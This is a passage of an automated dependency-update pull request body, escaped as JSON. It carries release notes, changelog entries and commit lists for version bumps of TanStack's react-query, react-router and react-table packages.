href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/03e8c3955ddbf20f0a07b79982b52dfad8df5323\"\u003e\u003ccode\u003e03e8c39\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a8ecc8d42f82c795fbe5771be5e41dee54bd7e34\"\u003e\u003ccode\u003ea8ecc8d\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12128\"\u003e#12128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e fix(react, preact): recompute mutation state snapshots (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12117\"\u003e#12117\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/12199722dc3f7443b7bbb575611dce59cfd08534\"\u003e\u003ccode\u003e1219972\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12062\"\u003e#12062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e fix(query-core): clear mutations before notifying subscribers (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11470\"\u003e#11470\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e fix(react-query): retry queries with falsy errors on mount (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11328\"\u003e#11328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11\"\u003e#11\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/ee47993724e5b71e65d9f38ae416367d2dd18395\"\u003e\u003ccode\u003eee47993\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11998\"\u003e#11998\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e fix(query-core): preserve union narrowing in setQueryData updaters (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11935\"\u003e#11935\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b699b52d60e10220403673a407d95bcebeba3e81\"\u003e\u003ccode\u003eb699b52\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11849\"\u003e#11849\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/e22e7c4a27129457636a2a800f8ce19fc0c7b0e3\"\u003e\u003ccode\u003ee22e7c4\u003c/code\u003e\u003c/a\u003e chore: test TypeScript 7.1 preview and drop 5.6 (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11947\"\u003e#11947\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/react-query@5.104.5/packages/react-query\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-router` from 1.170.40 to 1.170.45\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/router/releases\"\u003e@​tanstack/react-router's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-router\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.170.45\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/18154b1c45454a70aa77e9d6d27c8a6e0733d031\"\u003e\u003ccode\u003e18154b1\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/router-core\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.171.38\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/router/blob/main/packages/react-router/CHANGELOG.md\"\u003e@​tanstack/react-router's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.170.45\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/18154b1c45454a70aa77e9d6d27c8a6e0733d031\"\u003e\u003ccode\u003e18154b1\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/router-core\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.171.38\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.170.44\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/d6ba115d5751c75e20943f0062577cf17b446d82\"\u003e\u003ccode\u003ed6ba115\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/router-core\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.171.37\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.170.43\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/94d6d8e49694e225cb07e2a6777633d08aeeb3c5\"\u003e\u003ccode\u003e94d6d8e\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/router-core\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.171.36\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.170.42\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8594\"\u003e#8594\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/2413cc009826fba4f97b166a35a8a50a4a8fe4bb\"\u003e\u003ccode\u003e2413cc0\u003c/code\u003e\u003c/a\u003e - reduce component nesting per route match\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8602\"\u003e#8602\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/efc2042c2d02a9780c3e7efe81f123d066a869eb\"\u003e\u003ccode\u003eefc2042\u003c/code\u003e\u003c/a\u003e - Links of a route that the pending navigation leaves skip deriving the destination location, and clicks and preloads follow the href a Link displays. \u003ccode\u003ebuildLocation\u003c/code\u003e now builds \u003ccode\u003emask\u003c/code\u003e and \u003ccode\u003erouteMasks\u003c/code\u003e locations from the same \u003ccode\u003e_fromLocation\u003c/code\u003e as the destination.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8602\"\u003e#8602\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/efc2042c2d02a9780c3e7efe81f123d066a869eb\"\u003e\u003ccode\u003eefc2042\u003c/code\u003e\u003c/a\u003e - Fixed Link destinations that resolve to a route mask are now reused across navigations instead of being rebuilt every time. A mounted Link now follows changes to its \u003ccode\u003ehref\u003c/code\u003e and \u003ccode\u003ereloadDocument\u003c/code\u003e props, and React Links no longer each subscribe to a hydration flag.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8579\"\u003e#8579\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/d35aab425b07b46e222a507c0f0239644669757b\"\u003e\u003ccode\u003ed35aab4\u003c/code\u003e\u003c/a\u003e - Cancel pending link preload timers when starting navigation to avoid redundant preloading while the destination is loading.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/dfe3dea88a28400db1677111e2b15ae7914782c2\"\u003e\u003ccode\u003edfe3dea\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/dfe3dea88a28400db1677111e2b15ae7914782c2\"\u003e\u003ccode\u003edfe3dea\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/dfe3dea88a28400db1677111e2b15ae7914782c2\"\u003e\u003ccode\u003edfe3dea\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/efc2042c2d02a9780c3e7efe81f123d066a869eb\"\u003e\u003ccode\u003eefc2042\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/efc2042c2d02a9780c3e7efe81f123d066a869eb\"\u003e\u003ccode\u003eefc2042\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/dfe3dea88a28400db1677111e2b15ae7914782c2\"\u003e\u003ccode\u003edfe3dea\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/663282b0ebbc494aee3595ed95867ee29d01938e\"\u003e\u003ccode\u003e663282b\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/history\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.162.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/router-core\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.171.35\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.170.41\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8529\"\u003e#8529\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/60b8ad1ad00812bf966a8eeee6be238c37ddad74\"\u003e\u003ccode\u003e60b8ad1\u003c/code\u003e\u003c/a\u003e - Compose only enabled route boundaries instead of rendering inactive wrapper components.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8568\"\u003e#8568\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/614bc27034c8ec98747bf305ed41d4a619640949\"\u003e\u003ccode\u003e614bc27\u003c/code\u003e\u003c/a\u003e - Update TanStack Store to 0.11.2 to prevent unrelated atom reads inside subscription observers from triggering extra notifications.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8530\"\u003e#8530\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/ff66a03df4816f44a48a4a37189fc4021b1c8480\"\u003e\u003ccode\u003eff66a03\u003c/code\u003e\u003c/a\u003e - Consolidate the root match context provider while preserving match context in the root shell.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8522\"\u003e#8522\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/863c8a736b96746c56278a16c50554356f5523d1\"\u003e\u003ccode\u003e863c8a7\u003c/code\u003e\u003c/a\u003e - Reuse Link href classification and active/inactive results across location updates while preserving live history href formatting.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/d521abd71c69f1ff010bb3def4d417cb5fa058cb\"\u003e\u003ccode\u003ed521abd\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/caaf32da35e250c1344a350fdd80cfc631c24b3c\"\u003e\u003ccode\u003ecaaf32d\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8733\"\u003e#8733\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/18154b1c45454a70aa77e9d6d27c8a6e0733d031\"\u003e\u003ccode\u003e18154b1\u003c/code\u003e\u003c/a\u003e perf: lower manifest script preload priority (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8212\"\u003e#8212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/7a0672503857283614799a0b480f4a82110e5ab6\"\u003e\u003ccode\u003e7a06725\u003c/code\u003e\u003c/a\u003e chore(deps): upgrade Vitest to 5 and migrate benchmarks to the bench fixture ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/4ff63eb8a469d5f318dd31579c03c867c88f0384\"\u003e\u003ccode\u003e4ff63eb\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8700\"\u003e#8700\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/80e2eabf482ce09aef024d463802e1c4f781c4a1\"\u003e\u003ccode\u003e80e2eab\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8661\"\u003e#8661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/c79c620bf479cf53d64fb301407c2206922c0b4a\"\u003e\u003ccode\u003ec79c620\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8580\"\u003e#8580\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/f6d21de12b69781738c96cfa3b468fa65294e0ef\"\u003e\u003ccode\u003ef6d21de\u003c/code\u003e\u003c/a\u003e revert: keep server-rendered pending UI of no-SSR routes through hydration (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/ff9f753c090c2f8832a06204a1c3b56c4c5d885f\"\u003e\u003ccode\u003eff9f753\u003c/code\u003e\u003c/a\u003e fix: keep server-rendered pending UI of no-SSR routes through hydration (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8643\"\u003e#8643\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/df8bbf217fd29e968fa94fd65cc7f7ede2b2c433\"\u003e\u003ccode\u003edf8bbf2\u003c/code\u003e\u003c/a\u003e docs: use new query methods (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/7100\"\u003e#7100\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/efc2042c2d02a9780c3e7efe81f123d066a869eb\"\u003e\u003ccode\u003eefc2042\u003c/code\u003e\u003c/a\u003e perf(router): skip Link work for routes a navigation leaves (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8602\"\u003e#8602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/router/commits/@tanstack/react-router@1.170.45/packages/react-router\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-table` from 9.2.4 to 9.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/table/releases\"\u003e@​tanstack/react-table's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.3.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/87c6bcc52a5cd614d83d698c76048b4c1c2bb8f7\"\u003e\u003ccode\u003e87c6bcc\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.3.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.3.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6631\"\u003e#6631\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/3d3648f788310465e135c09fd3f803ef25a92c18\"\u003e\u003ccode\u003e3d3648f\u003c/code\u003e\u003c/a\u003e - Refresh the \u003ccode\u003eAppTable\u003c/code\u003e context when the \u003ccode\u003euseAppTable\u003c/code\u003e owner renders with new options or state, so \u003ccode\u003euseTableContext()\u003c/code\u003e consumers no longer show stale rows after \u003ccode\u003edata\u003c/code\u003e is replaced under a cached (React Compiler, \u003ccode\u003euseMemo\u003c/code\u003e, \u003ccode\u003ememo\u003c/code\u003e) \u003ccode\u003eAppTable\u003c/code\u003e element.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/2d5f5b65a98350949ac9ce7397a29ee9bbe2fd5e\"\u003e\u003ccode\u003e2d5f5b6\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/table/commit/87c6bcc52a5cd614d83d698c76048b4c1c2bb8f7\"\u003e\u003ccode\u003e87c6bcc\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.3.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.8\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/f1c3409bb4aae6c07ebb1cb0a0723372ed64223e\"\u003e\u003ccode\u003ef1c3409\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.8\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/f1c3409bb4aae6c07ebb1cb0a0723372ed64223e\"\u003e\u003ccode\u003ef1c3409\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.6\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6611\"\u003e#6611\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/b9b007fa038328a795d1f3b5e8f80cea8a55a3b4\"\u003e\u003ccode\u003eb9b007f\u003c/code\u003e\u003c/a\u003e - Refactor bundled Intent skills into smaller entry points with references loaded for the current task. Keep core feature architecture and shared state directly discoverable, and move individual features, adapter compositions, and detailed migration guidance into references.\u003c/p\u003e\n\u003cp\u003eConsumers with individual skill permissions or explicit agent mappings must replace retired feature/composition IDs with their owning entry points and refresh Intent mappings. See the Agent Skills guide for the replacement paths.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/b9b007fa038328a795d1f3b5e8f80cea8a55a3b4\"\u003e\u003ccode\u003eb9b007f\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.6\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6609\"\u003e#6609\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e - Update TanStack Store dependencies to the latest compatible patch releases.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/table/blob/main/packages/react-table/CHANGELOG.md\"\u003e@​tanstack/react-table's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.3.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6631\"\u003e#6631\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/3d3648f788310465e135c09fd3f803ef25a92c18\"\u003e\u003ccode\u003e3d3648f\u003c/code\u003e\u003c/a\u003e - Refresh the \u003ccode\u003eAppTable\u003c/code\u003e context when the \u003ccode\u003euseAppTable\u003c/code\u003e owner renders with new options or state, so \u003ccode\u003euseTableContext()\u003c/code\u003e consumers no longer show stale rows after \u003ccode\u003edata\u003c/code\u003e is replaced under a cached (React Compiler, \u003ccode\u003euseMemo\u003c/code\u003e, \u003ccode\u003ememo\u003c/code\u003e) \u003ccode\u003eAppTable\u003c/code\u003e element.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca 